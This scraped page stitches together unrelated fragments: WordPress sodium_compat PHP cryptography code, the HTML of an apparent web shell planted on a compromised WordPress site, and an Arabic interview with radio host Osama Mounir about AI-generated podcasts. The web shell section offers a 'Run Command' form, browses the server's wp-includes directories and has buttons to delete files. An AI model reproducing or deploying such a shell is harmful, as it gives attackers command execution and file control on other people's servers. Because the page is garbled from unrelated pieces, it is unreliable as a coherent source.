            throw new SodiumException('Could not read input file');
        }
        $first32len = self::strlen($first32);
        fwrite(
            $ofp,
            self::xorStrings(
                self::substr($block0, 32, $first32len),
                self::substr($first32, 0, $first32len)
            )
        );
        $mlen -= 32;

        /** @var int $iter */
        $iter = 1;

        /** @var int $incr */
        $incr = self::BUFFER_SIZE &gt;&gt; 6;

        /* Decrypts ciphertext, writes to output file. */
        while ($mlen &gt; 0) {
            $blockSize = $mlen &gt; self::BUFFER_SIZE
                ? self::BUFFER_SIZE
                : $mlen;
            $ciphertext = fread($ifp, $blockSize);
            if (!is_string($ciphertext)) {
                throw new SodiumException('Could not read input file');
            }
            $pBlock = ParagonIE_Sodium_Core_Salsa20::salsa20_xor_ic(
                $ciphertext,
                $realNonce,
                $iter,
                $subkey
            );
            fwrite($ofp, $pBlock, $blockSize);
            $mlen -= $blockSize;
            $iter += $incr;
        }
        return true;
    }

    /**
     * @param ParagonIE_Sodium_Core_Poly1305_State $state
     * @param resource $ifp
     * @param string $tag
     * @param int $mlen
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function onetimeauth_verify(
        ParagonIE_Sodium_Core_Poly1305_State $state,
        $ifp,
        $tag = '',
        $mlen = 0
    ) {
        /** @var int $pos */
        $pos = self::ftell($ifp);

        /** @var int $iter */
        $iter = 1;

        /** @var int $incr */
        $incr = self::BUFFER_SIZE &gt;&gt; 6;

        while ($mlen &gt; 0) {
            $blockSize = $mlen &gt; self::BUFFER_SIZE
                ? self::BUFFER_SIZE
                : $mlen;
            $ciphertext = fread($ifp, $blockSize);
            if (!is_string($ciphertext)) {
                throw new SodiumException('Could not read input file');
            }
            $state-&gt;update($ciphertext);
            $mlen -= $blockSize;
            $iter += $incr;
        }
        $res = ParagonIE_Sodium_Core_Util::verify_16($tag, $state-&gt;finish());

        fseek($ifp, $pos, SEEK_SET);
        return $res;
    }

    /**
     * Update a hash context with the contents of a file, without
     * loading the entire file into memory.
     *
     * @param resource|HashContext $hash
     * @param resource $fp
     * @param int $size
     * @return resource|object Resource on PHP &lt; 7.2, HashContext object on PHP &gt;= 7.2
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress PossiblyInvalidArgument
     *                 PHP 7.2 changes from a resource to an object,
     *                 which causes Psalm to complain about an error.
     * @psalm-suppress TypeCoercion
     *                 Ditto.
     */
    public static function updateHashWithFile($hash, $fp, $size = 0)
    {
        /* Type checks: */
        if (PHP_VERSION_ID &lt; 70200) {
            if (!is_resource($hash)) {
                throw new TypeError('Argument 1 must be a resource, ' . gettype($hash) . ' given.');
            }
        } else {
            if (!is_object($hash)) {
                throw new TypeError('Argument 1 must be an object (PHP 7.2+), ' . gettype($hash) . ' given.');
            }
        }

        if (!is_resource($fp)) {
            throw new TypeError('Argument 2 must be a resource, ' . gettype($fp) . ' given.');
        }
        if (!is_int($size)) {
            throw new TypeError('Argument 3 must be an integer, ' . gettype($size) . ' given.');
        }

        /** @var int $originalPosition */
        $originalPosition = self::ftell($fp);

        // Move file pointer to beginning of file
        fseek($fp, 0, SEEK_SET);
        for ($i = 0; $i &lt; $size; $i += self::BUFFER_SIZE) {
            /** @var string|bool $message */
            $message = fread(
                $fp,
                ($size - $i) &gt; self::BUFFER_SIZE
                    ? $size - $i
                    : self::BUFFER_SIZE
            );
            if (!is_string($message)) {
                throw new SodiumException('Unexpected error reading from file.');
            }
            /** @var string $message */
            /** @psalm-suppress InvalidArgument */
            self::hash_update($hash, $message);
        }
        // Reset file pointer's position
        fseek($fp, $originalPosition, SEEK_SET);
        return $hash;
    }

    /**
     * Sign a file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_sign_detached(), but produces
     * the same result. (32-bit)
     *
     * @param string $filePath  Absolute path to a file on the filesystem
     * @param string $secretKey Secret signing key
     *
     * @return string           Ed25519 signature
     * @throws SodiumException
     * @throws TypeError
     */
    private static function sign_core32($filePath, $secretKey)
    {
        $size = filesize($filePath);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file size');
        }

        $fp = fopen($filePath, 'rb');
        if (!is_resource($fp)) {
            throw new SodiumException('Could not open input file for reading');
        }

        /** @var string $az */
        $az = hash('sha512', self::substr($secretKey, 0, 32), true);

        $az[0] = self::intToChr(self::chrToInt($az[0]) &amp; 248);
        $az[31] = self::intToChr((self::chrToInt($az[31]) &amp; 63) | 64);

        $hs = hash_init('sha512');
        self::hash_update($hs, self::substr($az, 32, 32));
        /** @var resource $hs */
        $hs = self::updateHashWithFile($hs, $fp, $size);

        $nonceHash = hash_final($hs, true);
        $pk = self::substr($secretKey, 32, 32);
        $nonce = ParagonIE_Sodium_Core32_Ed25519::sc_reduce($nonceHash) . self::substr($nonceHash, 32);
        $sig = ParagonIE_Sodium_Core32_Ed25519::ge_p3_tobytes(
            ParagonIE_Sodium_Core32_Ed25519::ge_scalarmult_base($nonce)
        );

        $hs = hash_init('sha512');
        self::hash_update($hs, self::substr($sig, 0, 32));
        self::hash_update($hs, self::substr($pk, 0, 32));
        /** @var resource $hs */
        $hs = self::updateHashWithFile($hs, $fp, $size);

        $hramHash = hash_final($hs, true);

        $hram = ParagonIE_Sodium_Core32_Ed25519::sc_reduce($hramHash);

        $sigAfter = ParagonIE_Sodium_Core32_Ed25519::sc_muladd($hram, $az, $nonce);

        /** @var string $sig */
        $sig = self::substr($sig, 0, 32) . self::substr($sigAfter, 0, 32);

        try {
            ParagonIE_Sodium_Compat::memzero($az);
        } catch (SodiumException $ex) {
            $az = null;
        }
        fclose($fp);
        return $sig;
    }

    /**
     *
     * Verify a file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_sign_verify_detached(), but
     * produces the same result. (32-bit)
     *
     * @param string $sig       Ed25519 signature
     * @param string $filePath  Absolute path to a file on the filesystem
     * @param string $publicKey Signing public key
     *
     * @return bool
     * @throws SodiumException
     * @throws Exception
     */
    public static function verify_core32($sig, $filePath, $publicKey)
    {
        /* Security checks */
        if (ParagonIE_Sodium_Core32_Ed25519::check_S_lt_L(self::substr($sig, 32, 32))) {
            throw new SodiumException('S &lt; L - Invalid signature');
        }
        if (ParagonIE_Sodium_Core32_Ed25519::small_order($sig)) {
            throw new SodiumException('Signature is on too small of an order');
        }

        if ((self::chrToInt($sig[63]) &amp; 224) !== 0) {
            throw new SodiumException('Invalid signature');
        }
        $d = 0;
        for ($i = 0; $i &lt; 32; ++$i) {
            $d |= self::chrToInt($publicKey[$i]);
        }
        if ($d === 0) {
            throw new SodiumException('All zero public key');
        }

        /** @var int|bool $size */
        $size = filesize($filePath);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file size');
        }
        /** @var int $size */

        /** @var resource|bool $fp */
        $fp = fopen($filePath, 'rb');
        if (!is_resource($fp)) {
            throw new SodiumException('Could not open input file for reading');
        }
        /** @var resource $fp */

        /** @var bool The original value of ParagonIE_Sodium_Compat::$fastMult */
        $orig = ParagonIE_Sodium_Compat::$fastMult;

        // Set ParagonIE_Sodium_Compat::$fastMult to true to speed up verification.
        ParagonIE_Sodium_Compat::$fastMult = true;

        /** @var ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $A */
        $A = ParagonIE_Sodium_Core32_Ed25519::ge_frombytes_negate_vartime($publicKey);

        $hs = hash_init('sha512');
        self::hash_update($hs, self::substr($sig, 0, 32));
        self::hash_update($hs, self::substr($publicKey, 0, 32));
        /** @var resource $hs */
        $hs = self::updateHashWithFile($hs, $fp, $size);
        /** @var string $hDigest */
        $hDigest = hash_final($hs, true);

        /** @var string $h */
        $h = ParagonIE_Sodium_Core32_Ed25519::sc_reduce($hDigest) . self::substr($hDigest, 32);

        /** @var ParagonIE_Sodium_Core32_Curve25519_Ge_P2 $R */
        $R = ParagonIE_Sodium_Core32_Ed25519::ge_double_scalarmult_vartime(
            $h,
            $A,
            self::substr($sig, 32)
        );

        /** @var string $rcheck */
        $rcheck = ParagonIE_Sodium_Core32_Ed25519::ge_tobytes($R);

        // Close the file handle
        fclose($fp);

        // Reset ParagonIE_Sodium_Compat::$fastMult to what it was before.
        ParagonIE_Sodium_Compat::$fastMult = $orig;
        return self::verify_32($rcheck, self::substr($sig, 0, 32));
    }

    /**
     * Encrypt a file (32-bit)
     *
     * @param resource $ifp
     * @param resource $ofp
     * @param int $mlen
     * @param string $nonce
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function secretbox_encrypt_core32($ifp, $ofp, $mlen, $nonce, $key)
    {
        $plaintext = fread($ifp, 32);
        if (!is_string($plaintext)) {
            throw new SodiumException('Could not read input file');
        }
        $first32 = self::ftell($ifp);

        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core32_HSalsa20::hsalsa20($nonce, $key);

        /** @var string $realNonce */
        $realNonce = ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8);

        /** @var string $block0 */
        $block0 = str_repeat(&quot;\x00&quot;, 32);

        /** @var int $mlen - Length of the plaintext message */
        $mlen0 = $mlen;
        if ($mlen0 &gt; 64 - ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES) {
            $mlen0 = 64 - ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES;
        }
        $block0 .= ParagonIE_Sodium_Core32_Util::substr($plaintext, 0, $mlen0);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core32_Salsa20::salsa20_xor(
            $block0,
            $realNonce,
            $subkey
        );

        $state = new ParagonIE_Sodium_Core32_Poly1305_State(
            ParagonIE_Sodium_Core32_Util::substr(
                $block0,
                0,
                ParagonIE_Sodium_Crypto::onetimeauth_poly1305_KEYBYTES
            )
        );

        // Pre-write 16 blank bytes for the Poly1305 tag
        $start = self::ftell($ofp);
        fwrite($ofp, str_repeat(&quot;\x00&quot;, 16));

        /** @var string $c */
        $cBlock = ParagonIE_Sodium_Core32_Util::substr(
            $block0,
            ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES
        );
        $state-&gt;update($cBlock);
        fwrite($ofp, $cBlock);
        $mlen -= 32;

        /** @var int $iter */
        $iter = 1;

        /** @var int $incr */
        $incr = self::BUFFER_SIZE &gt;&gt; 6;

        /*
         * Set the cursor to the end of the first half-block. All future bytes will
         * generated from salsa20_xor_ic, starting from 1 (second block).
         */
        fseek($ifp, $first32, SEEK_SET);

        while ($mlen &gt; 0) {
            $blockSize = $mlen &gt; self::BUFFER_SIZE
                ? self::BUFFER_SIZE
                : $mlen;
            $plaintext = fread($ifp, $blockSize);
            if (!is_string($plaintext)) {
                throw new SodiumException('Could not read input file');
            }
            $cBlock = ParagonIE_Sodium_Core32_Salsa20::salsa20_xor_ic(
                $plaintext,
                $realNonce,
                $iter,
                $subkey
            );
            fwrite($ofp, $cBlock, $blockSize);
            $state-&gt;update($cBlock);

            $mlen -= $blockSize;
            $iter += $incr;
        }
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
            ParagonIE_Sodium_Compat::memzero($subkey);
        } catch (SodiumException $ex) {
            $block0 = null;
            $subkey = null;
        }
        $end = self::ftell($ofp);

        /*
         * Write the Poly1305 authentication tag that provides integrity
         * over the ciphertext (encrypt-then-MAC)
         */
        fseek($ofp, $start, SEEK_SET);
        fwrite($ofp, $state-&gt;finish(), ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_MACBYTES);
        fseek($ofp, $end, SEEK_SET);
        unset($state);

        return true;
    }

    /**
     * Decrypt a file (32-bit)
     *
     * @param resource $ifp
     * @param resource $ofp
     * @param int $mlen
     * @param string $nonce
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function secretbox_decrypt_core32($ifp, $ofp, $mlen, $nonce, $key)
    {
        $tag = fread($ifp, 16);
        if (!is_string($tag)) {
            throw new SodiumException('Could not read input file');
        }

        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core32_HSalsa20::hsalsa20($nonce, $key);

        /** @var string $realNonce */
        $realNonce = ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core32_Salsa20::salsa20(
            64,
            ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8),
            $subkey
        );

        /* Verify the Poly1305 MAC -before- attempting to decrypt! */
        $state = new ParagonIE_Sodium_Core32_Poly1305_State(self::substr($block0, 0, 32));
        if (!self::onetimeauth_verify_core32($state, $ifp, $tag, $mlen)) {
            throw new SodiumException('Invalid MAC');
        }

        /*
         * Set the cursor to the end of the first half-block. All future bytes will
         * generated from salsa20_xor_ic, starting from 1 (second block).
         */
        $first32 = fread($ifp, 32);
        if (!is_string($first32)) {
            throw new SodiumException('Could not read input file');
        }
        $first32len = self::strlen($first32);
        fwrite(
            $ofp,
            self::xorStrings(
                self::substr($block0, 32, $first32len),
                self::substr($first32, 0, $first32len)
            )
        );
        $mlen -= 32;

        /** @var int $iter */
        $iter = 1;

        /** @var int $incr */
        $incr = self::BUFFER_SIZE &gt;&gt; 6;

        /* Decrypts ciphertext, writes to output file. */
        while ($mlen &gt; 0) {
            $blockSize = $mlen &gt; self::BUFFER_SIZE
                ? self::BUFFER_SIZE
                : $mlen;
            $ciphertext = fread($ifp, $blockSize);
            if (!is_string($ciphertext)) {
                throw new SodiumException('Could not read input file');
            }
            $pBlock = ParagonIE_Sodium_Core32_Salsa20::salsa20_xor_ic(
                $ciphertext,
                $realNonce,
                $iter,
                $subkey
            );
            fwrite($ofp, $pBlock, $blockSize);
            $mlen -= $blockSize;
            $iter += $incr;
        }
        return true;
    }

    /**
     * One-time message authentication for 32-bit systems
     *
     * @param ParagonIE_Sodium_Core32_Poly1305_State $state
     * @param resource $ifp
     * @param string $tag
     * @param int $mlen
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function onetimeauth_verify_core32(
        ParagonIE_Sodium_Core32_Poly1305_State $state,
        $ifp,
        $tag = '',
        $mlen = 0
    ) {
        /** @var int $pos */
        $pos = self::ftell($ifp);

        while ($mlen &gt; 0) {
            $blockSize = $mlen &gt; self::BUFFER_SIZE
                ? self::BUFFER_SIZE
                : $mlen;
            $ciphertext = fread($ifp, $blockSize);
            if (!is_string($ciphertext)) {
                throw new SodiumException('Could not read input file');
            }
            $state-&gt;update($ciphertext);
            $mlen -= $blockSize;
        }
        $res = ParagonIE_Sodium_Core32_Util::verify_16($tag, $state-&gt;finish());

        fseek($ifp, $pos, SEEK_SET);
        return $res;
    }

    /**
     * @param resource $resource
     * @return int
     * @throws SodiumException
     */
    private static function ftell($resource)
    {
        $return = ftell($resource);
        if (!is_int($return)) {
            throw new SodiumException('ftell() returned false');
        }
        return (int) $return;
    }
}
</pre><!DOCTYPE html>
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      color: #8ab4f8;
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    }
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      autocomplete="off"
      required
    >
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  </form>
</div>

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  <form action="" method="post" style="margin:0">
    <input
      type="text"
      name="cmddef"
      placeholder="Enter command"
      autocomplete="off"
      required
    >
    <button type="submit">Run Command</button>
  </form>
</div>


  <div class="breadcrumb">Path: <a href="?path=%2Fhome">home</a>/<a href="?path=%2Fhome%2Ftahkoom">tahkoom</a>/<a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html">public_html</a>/<a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes">wp-includes</a>/<a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Fsodium_compat">sodium_compat</a>/<a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Fsodium_compat%2Fsrc">src</a></div>
  <ul>
          <li>
        <span>
          <strong>[D]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Fsodium_compat%2Fsrc%2FCore"> Core</a>
                  </span>
              </li>
          <li>
        <span>
          <strong>[D]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Fsodium_compat%2Fsrc%2FCore32"> Core32</a>
                  </span>
              </li>
          <li>
        <span>
          <strong>[D]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Fsodium_compat%2Fsrc%2FPHP52"> PHP52</a>
                  </span>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Fsodium_compat%2Fsrc&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Fsodium_compat%2Fsrc%2FCompat.php"> Compat.php</a>
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        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Fsodium_compat%2Fsrc&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Fsodium_compat%2Fsrc%2FCrypto.php"> Crypto.php</a>
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                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Fsodium_compat%2Fsrc&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Fsodium_compat%2Fsrc%2FCrypto32.php"> Crypto32.php</a>
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            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Fsodium_compat%2Fsrc&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Fsodium_compat%2Fsrc%2FFile.php"> File.php</a>
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            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-includes/sodium_compat/src/File.php">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
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                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Fsodium_compat%2Fsrc&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Fsodium_compat%2Fsrc%2FSodiumException.php"> SodiumException.php</a>
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		<div class="single-post-meta post-meta clearfix"><span class="date meta-item tie-icon">يونيو 10, 2025</span><div class="tie-alignright"><span class="meta-views meta-item very-hot"><span class="tie-icon-fire" aria-hidden="true"></span> 9٬265 </span><span class="meta-reading-time meta-item"><span class="tie-icon-bookmark" aria-hidden="true"></span> 5 دقائق</span> </div></div><!-- .post-meta -->	</div><!-- .entry-header /-->

	
	
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<p class="p2"><strong>كتبت : فرح سمير&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; بين دفء الصوت وبرود التقنية… أسامة منير يتحدث</strong></p>



<p class="p2"><strong>“حين يُستنسخ الصوت.. هل تُستنسخ الروح؟”</strong></p>



<p class="p2"><strong>“أسامة منير: الروح لا تسجل ب mp3 ولا ذكاء يعوّض دفء الصوت الإنساني</strong></p>



<p class="p2">عندما يُذكر اسم الإذاعة في العالم العربى ، يتردد في الأذهان فورًا صوت الإعلامي القدير أسامة منير، صاحب المدرسة الخاصة في فن التقديم الإذاعي، والبصمة الإنسانية الواضحة في برامجه، وعلى رأسها البرنامج الأشهر “أنا والنجوم وهواك”. بصوته العذب وحضوره الإنساني، أصبح “ الغائب الحاضر ” في ذاكرة مستمعين تربّوا على نبرة صدقه ودفء كلماته.</p>



<p class="p2">وفي الوقت الذي تواصل فيه التكنولوجيا اقتحام ميادين الإعلام، أعلنت شركة Google في مايو 2025 عن ميزة “البودكاست الذكي” ضمن تطبيق Gemini، والتي تتيح للمستخدمين تحويل مستنداتهم إلى حلقات صوتية تفاعلية، تديرها شخصيتان ذكيتان تعملان بالذكاء الاصطناعي.</p>



<p class="p2">في هذا السياق، نتحاور اليوم مع الإعلامي أسامة منير حول هذه النقلة النوعية، ونبحث معه في سؤال جوهري: هل ما زال الصوت البشري الدافئ قادرًا على الصمود أمام زحف الذكاء الاصطناعي؟ كيف يمكن للإعلامي أن يتكيّف مع هذه الأدوات الجديدة، دون أن يفقد إنسانيته، أو يفرّط في جوهر الرسالة الإعلامية؟</p>



<p class="p2"><strong><mark class="has-inline-color has-pale-cyan-blue-color" style="background-color: rgba(0, 0, 0, 0); color: #8ed1fc;">في رأيك، هل البودكاست بصوت الذكاء الاصطناعي يمكن أن ينافس صوت وتجربة المذيع البشري في المستقبل؟</mark></strong></p>



<p class="p2">أعتقد أن البودكاست “لحم ودم”، لا يصح أن يكون بصوت الذكاء الاصطناعي أبدًا. لأنك إن قمتِ بتحضير الأسئلة وطرحتها بصوت الذكاء الاصطناعي، ثم جاءت الإجابات أيضًا من الذكاءالاصطناعي، فكأنك فقط تبحثين عن وسيلة لقراءة نص مكتوب. لكن الحوار الحقيقي يكون حيًا، عبارة عن تلاقٍ بين فكر وفكر، وعقل وعقل. يكون فيه أخذ وردّ، ولا يمكن أن يُدار بأي شكل من الأشكال عن طريق الذكاء الاصطناعي، لأنه ببساطة سيفقد “الروح”،وسيفقد “الطعم”، وحتى “ذكاء الحوار” نفسه.</p>



<p class="p2"><strong><mark class="has-inline-color has-pale-cyan-blue-color" style="background-color: rgba(0, 0, 0, 0); color: #8ed1fc;">لديك تاريخ طويل في البرامج الإذاعية المؤثرة.. هل تعتقد أن الذكاء الاصطناعي يمكن أن ينقل نفس المشاعر والدفء الذي يقدمه المذيع الحقيقي؟</mark></strong></p>



<p class="p2">أعتقد أن البرامج الإذاعية لا يمكن أن تُدار على الإطلاق بتقنيات الذكاء الاصطناعي، فهذا شيء بعيد تمامًا. لأن المذيع الذي يجلس أمام الميكروفون — والذي نسميه “الحديدة” —تنقل “الحديدة” هذه ليس فقط صوته، وإنما أيضًا إحساسه وأفكاره، ومشاعره من فرح أو غضب أو حماس هناك دفء وخصوصية في العلاقة الحوارية بين المذيع والمستمع، ولا أعتقد أن هذا يمكن أن نحصل عليه بأي حال من الأحوال من الذكاء الاصطناعي.</p>



<p class="p2"><strong><mark class="has-inline-color has-pale-cyan-blue-color" style="background-color: rgba(0, 0, 0, 0); color: #8ed1fc;">هل سبق أن جربت أي أدوات ذكاء اصطناعي في إعداد أو إنتاج محتوى صوتي أو بودكاست؟ وإن لم تفعل، هل تفكر باستخدامها مستقبلا ً ؟</mark></strong></p>



<p class="p2">نعم، بالفعل جربت، كنت أستطلع كيف يمكن إنتاج محتوى بالذكاء الاصطناعي، أو كيف يمكن أن يساعدني في إعداد أفكار إذاعية أو وضع محاور.وجدت أنه ببساطة يجمع كل ما هو موجود على الإنترنت، لكنه لا يبتكر. يعرض المتاح فقط، ولا يضيف عليه.</p>



<p class="p2">ونعم، قد نستخدمه أحيانًا في أعمال “الفويس أوفر”، لكن في البرامج الإذاعية، لا.. لم أستخدمه من قبل ولا أرى أنه يمكن أن يُستخدم.</p>



<p class="p2"><strong><mark class="has-inline-color has-pale-cyan-blue-color" style="background-color: rgba(0, 0, 0, 0); color: #8ed1fc;">فيه بودكاستات حاليًا تُنتَج بالكامل باستخدام الذكاء الاصطناعي.. من كتابة النص إلى صوت المذيع، وحتى تحرير الحلقات. هل ترى في ذلك فرصة لتطور الإعلام أم خطرًا على المهنة؟</mark></strong></p>



<p class="p2">كون أن هناك الآن بودكاست يُنتَج بالكامل بالذكاء الاصطناعي، لا أعتقد أنه يُعتبر بودكاست حقيقي. لأنه سيفتقد للروح. ما الفائدة أن أطلب من الذكاء الاصطناعي كتابة سكريبت، ثم يقرأه بصوت مذيع اصطناعي، ويضيف له موسيقى، وأرفعه على المنصة؟ لم أفعل شيئًا.</p>



<p class="p2">لو قلت له مثلا ً : “اعمل لي محاضرة أو بودكاست عن التعايش السلمي”، سيضع لي نقاطًا وشرحًا. ثم أطلب منه قراءتها، فيقرأها جميعًا بإضافة موسيقى خلفية، فأقوم بنشرها على الإنترنت. هل فعلت شيئًا؟ لا. هذا يمكن لأي شخص أن يقرؤه على الإنترنت. البودكاست في جوهره إنساني. الإنسان هو من يناقش، وله فكر وتصور ورؤية، وهذا لن تجده أبدًا عند الذكاء الاصطناعي. الذكاء الاصطناعي يجمع لك بيانات واقعية من الإنترنت، لكنه لا يخلق. سأضرب لكِ مثلا ً : هناك أجهزة حديثة الآن تنتج موسيقى كاملة من توزيع وتركيب إيقاعات وآلات. لكن هناك آلات موسيقية، لا يمكن أن تُعزف إلا “لايف” لأن عزفها الحقيقي يحمل طعمًا خاصًا.مثل الكمان، والتشيلو، والأكورديون. لا يمكن أن تُعزف من “كيبورد”، لأن الصوت يختلف تمامًا.</p>



<p class="p2"><strong><mark class="has-inline-color has-pale-cyan-blue-color" style="background-color: rgba(0, 0, 0, 0); color: #8ed1fc;">هل سبق أن تم استخدام نبرة صوتك المميزة في تقنيات الذكاء الاصطناعي؟ وإن حدث، فكيف كان شعورك عندما استمعت إليه؟</mark></strong></p>



<p class="p2">نعم، سمعت صوتي بالذكاء الاصطناعي. فى مرة أحد الموزعين الموسيقيين أرسل لي مقطعًا ساخرًا استخدم فيه صوتي في“فويس أوفر”، وقال لي ممازحًا: “أنا ممكن أستغل صوتك!” ضحكت، لم أزعل، لكن لاحظت أنه ربما أخذ نبرة صوتي، “التون” والموجة الصوتية كانت صحيحة، لكن مخارج الحروف كانت مختلفة، والأسلوب كان مختلفًا. لأن من قرأ هو المتحدث الحقيقي، لكنه فقط غيّر صوته ليصبح صوتي. أي أن الذكاء الاصطناعي أخرج صوتي، لكن بأسلوبه هو. فلم يكن “الفويس أوفر” حتى بأسلوبي أنا. فما بالك لو استُخدم هذا في الرد على الناس في حوارات وأسئلة؟ هناك شيئًا “بلاستيكيًا”، شيئًا غير حقيقي. ستشعرين أن مع أنه لم يكن سكريبتًا مكتوبًا، بل مجرد تعديل صوت. فلم يوصل لا المعنى، ولا الإحساس، ولا حتى التحفيز.وهنا نقطة مهمة أود أن أذكرها: “الفويس أوفر” في الإعلان، هو البائع، هو من يقدّم المنتج للمستهلك، هو من يقنعه به بأسلوب معين. والإقناع هذا موهبة من عند الله سبحانه وتعالى، والصوت المقبول كذلك نعمة من الله.لا يمكن لشيء صُنع بأيادٍ بشرية أن يضاهي ما خلقه الله.</p>



<p class="p2"><strong><mark class="has-inline-color has-pale-cyan-blue-color" style="background-color: rgba(0, 0, 0, 0); color: #8ed1fc;">ما رأيك في تأثير الذكاء الاصطناعي على فرص الشباب في دخول مجال البودكاست؟ هل يمكن أن يسهل الطريق، أم يقلل من قيمة التجربة والخبرة؟الذكاء الاصطناعي؟</mark></strong></p>



<p class="p2">أعتقد أنه سيؤثر على دخول الشباب لمجال الإعلام والبودكاست. وهناك خطورة أخرى أود أن أذكرها، لا أعلم إن كنتِ ستسألين عنها أم لا،لكن أي شخص يمكنه الآن إنشاء بودكاست أو حوار باستخدام الذكاء الاصطناعي، ويمكن أن يستخدم أصوات شخصيات عالمية، أو أصوات لمسؤولين، وقد يؤدي ذلك إلى كارثة سياسية. تخيلوا أحدهم يستخدم صوت مسؤول ويضعه في إجابات معينة بطريقة مزيفة، هذا قد يسبب أزمة سياسية خطيرة، حتى على المستوى المحلي.</p>



<p class="p2"><strong><mark class="has-inline-color has-pale-cyan-blue-color" style="background-color: rgba(0, 0, 0, 0); color: #8ed1fc;">اذا طلبت من حضرتك نصيحة لطلاب الإعلام الذين يرغبون في دخول مجال البودكاست، خاصة في ظل وجود الذكاء الاصطناعي، ماذا تقول لهم؟</mark></strong></p>



<p class="p2">أقول للشباب الذين يريدون دخول مجال البودكاست والعمل في الإعلام: الميديا تحتاج إلى الإنسان الذي يمتلك “ذكاء اجتماعي”، ويجيد فن الحوار، ويعرف كيف يأخذ ويعطي. لأن الكلام يجب أن يكون تبادليًا، لا مجرد “أنا أتكلم وأتكلم” دون أن أترك مجالا ً للرد. ويجب أن يكون لديه ثقافة، ليس بالضرورة تخصصًا، لكن يعرف بعض الأمور الطبية، بعض الأمور التاريخية، الاجتماعية، الفنية،حتى عندما يتحدث، يكون لديه خلفية، ويكون مدركًا لما يتحدث عنه، لا يبدو كمن يكتشف الكلام لأول مرة أما عن استغلال الذكاء الاصطناعي في البودكاست، فيمكن استخدامه في تأليف موسيقى تتر أو خلفيات صوتية. لكن بودكاست كامل بأفكاره وبنائه بالذكاء الاصطناعي؟ لا أعتقد أنه سيكون مبدعًا أبدًا. يجب أن يجتهد الإنسان قليلا ً ليخرج بشيء مميز. المذيع الذي يريد أن يتعلم الإذاعة، عليه أن يتعلمها. الإذاعة بسيطة وسهلة، لكنها تتطلب شيئين: الحرفية والموهبة. يجب تعلم الحرفة: طريقة الكلام، النقاش، تقسيم المحاور، احترام الرأي الآخر.. إلخ. لكن الموهبة هي التي تطغى على الحرفة، وهي من عند الله. الله يعطيها لإنسان معين، لا تُمنح لأي أحد.</p>



<p class="p2"><strong><mark class="has-inline-color has-pale-cyan-blue-color" style="background-color: rgba(0, 0, 0, 0); color: #8ed1fc;">هل ترى أن مستقبل الإعلام الصوتي سيبقى قائمًا على العنصر البشري، أم أن الذكاء الاصطناعي قد يستحوذ عليه؟</mark></strong></p>



